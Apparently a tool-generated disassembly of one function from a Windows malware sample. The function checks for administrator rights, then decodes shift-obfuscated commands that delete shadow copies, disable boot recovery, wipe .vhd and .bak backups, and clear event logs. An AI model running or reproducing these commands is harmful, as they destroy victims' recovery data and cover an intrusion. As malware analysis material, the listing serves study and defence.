Function at 0x140001200
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
xor ebx, ebx
mov word [rsp + 0x64], 0x500
lea rax, [rsp + 0x70]
mov dword [rsp + 0x68], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000128c
mov rdx, qword [rsp + 0x70]
lea r8, [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140001281
mov dword [rsp + 0x68], ebx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x68], ebx
je 0x14000162d
vmovsd xmm0, qword [0x140004180]
mov eax, dword [0x140004188]
lea r8, [rbp - 0x58]
vmovups ymm1, ymmword [str.fghfhglih__vhi_hfiwxiw_virgsviirhielts_No]
vmovups ymm2, ymmword [str.fghfhglih__vhi_hfiwxiw_fshvtwxliitpolicyi]
vmovups xmm3, xmmword [str.hiw__t__k__q_C:.vhd]
vmovups xmm4, xmmword [str.hiw__t__k__q_C:.bak]
vmovups ymm5, ymmword [str.wixtyfi_Application__wixtyfi_Security__wixtyfi_System]
mov dword [rbp - 0x30], eax
mov eax, dword [0x140004158]
mov dword [rbp], eax
mov eax, dword [0x140004128]
mov dword [rbp - 0x78], eax
movzx eax, word [0x14000412c]
vmovsd qword [rbp - 0x38], xmm0
vmovsd xmm0, qword [0x140004150]
mov word [rbp - 0x74], ax
mov eax, dword [0x140004110]
vmovsd qword [rbp - 8], xmm0
vmovups xmm0, xmmword [0x1400040e0]
mov dword [rbp - 0x60], eax
movzx eax, word [0x140004114]
vmovups xmmword [rbp + 0x50], xmm0
vmovsd xmm0, qword [0x1400040f0]
mov word [rbp - 0x5c], ax
movzx eax, word [0x1400040f8]
vmovsd qword [rbp + 0x60], xmm0
vmovups ymm0, ymmword [str.vssdenli_delete_shadows__all__quiet]
mov word [rbp + 0x68], ax
mov eax, dword [0x1400040b8]
mov dword [rbp + 0x28], eax
vmovups ymmword [rbp - 0x58], ymm1
vmovups ymmword [rbp - 0x28], ymm2
vmovups xmmword [rsp + 0x78], xmm3
vmovups xmmword [rbp - 0x70], xmm4
vmovups ymmword [rbp + 0x30], ymm5
vmovups ymmword [rbp + 8], ymm0
vmovd ecx, xmm1
nop
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x140001398
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x2b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
jmp 0x1400013be
lea eax, [rcx - 0x61]
cmp al, 0x19
ja 0x1400013c1
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x4b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x61
mov byte [r8], cl
movzx eax, byte [r8 + 1]
inc r8
movzx ecx, al
test al, al
jne 0x140001370
lea r8, [rbp - 0x28]
vmovd ecx, xmm2
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x140001400
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x2b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
jmp 0x140001426
lea eax, [rcx - 0x61]
cmp al, 0x19
ja 0x140001429
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x4b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x61
mov byte [r8], cl
movzx eax, byte [r8 + 1]
inc r8
movzx ecx, al
test al, al
jne 0x1400013d8
lea r8, [rsp + 0x78]
vmovd ecx, xmm3
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x140001469
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x2b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
jmp 0x14000148f
lea eax, [rcx - 0x61]
cmp al, 0x19
ja 0x140001492
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x4b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x61
mov byte [r8], cl
movzx eax, byte [r8 + 1]
inc r8
movzx ecx, al
test al, al
jne 0x140001441
lea r8, [rbp - 0x70]
vmovd ecx, xmm4
nop dword [rax]
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x1400014d8
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x2b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
jmp 0x1400014fe
lea eax, [rcx - 0x61]
cmp al, 0x19
ja 0x140001501
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x4b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x61
mov byte [r8], cl
movzx eax, byte [r8 + 1]
inc r8
movzx ecx, al
test al, al
jne 0x1400014b0
lea r8, [rbp + 0x30]
vmovd ecx, xmm5
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x140001540
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x2b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
jmp 0x140001566
lea eax, [rcx - 0x61]
cmp al, 0x19
ja 0x140001569
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x4b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x61
mov byte [r8], cl
movzx eax, byte [r8 + 1]
inc r8
movzx ecx, al
test al, al
jne 0x140001518
lea r8, [rbp + 8]
vmovd ecx, xmm0
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x1400015a8
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x2b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
jmp 0x1400015ce
lea eax, [rcx - 0x61]
cmp al, 0x19
ja 0x1400015d1
movsx ecx, cl
mov eax, 0x4ec4ec4f
sub ecx, 0x4b
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x61
mov byte [r8], cl
movzx eax, byte [r8 + 1]
inc r8
movzx ecx, al
test al, al
jne 0x140001580
lea rcx, [rbp - 0x58]
vzeroupper
call fcn.140001070
lea rcx, [rbp - 0x28]
call fcn.140001070
lea rcx, [rsp + 0x78]
call fcn.140001070
lea rcx, [rbp - 0x70]
call fcn.140001070
lea rcx, [rbp + 0x30]
call fcn.140001070
lea rcx, [rbp + 8]
call fcn.140001070
mov rbx, qword [rsp + 0x180]
xor eax, eax
add rsp, 0x170
pop rbp
ret
call fcn.140001170
int3